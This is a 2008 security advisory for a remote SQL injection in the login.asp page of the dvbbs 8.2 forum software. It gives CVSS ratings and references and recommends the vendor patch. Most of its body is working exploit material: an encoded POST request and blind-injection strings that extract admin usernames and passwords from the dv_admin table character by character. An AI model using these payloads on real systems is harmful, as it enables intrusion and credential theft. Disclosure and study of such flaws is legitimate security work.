dvbbs8.2(access/sql)version login.asp remote sql injection

2008.05.29
Credit: hackerb
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

name: where (topsec security research group) email: hackerb_at_hotmail.com Subject: dvbbs8.2(access/sql)version login.asp remote sql injection danger level: critical/High info: dvbbs is prone to multiple sql injection security flaw interrelated code to access version(exp): password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271 Examples(access version): decide Where� and �1�=�1 where� and �1�=�2 to get usernamer or password where' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1 where' and 1=(select count(*) from dv_admin where left(username,2)='ad') and '1'='1 ....................... ....................... where' and 1=(select count(*) from dv_admin where left(password,1)='1') and '1'='1 where' and 1=(select count(*) from dv_admin where left(password,2)='15') and '1'='1 ...................... ...................... Solution: Authorities patch dvbbs web site(http://www.dvbbs.net) References: dvbbs(http://www.dvbbs.net)

References:

http://xforce.iss.net/xforce/xfdb/42731
http://www.securityfocus.com/bid/29429
http://www.securityfocus.com/archive/1/archive/1/492753/100/0/threaded
http://secunia.com/advisories/30455


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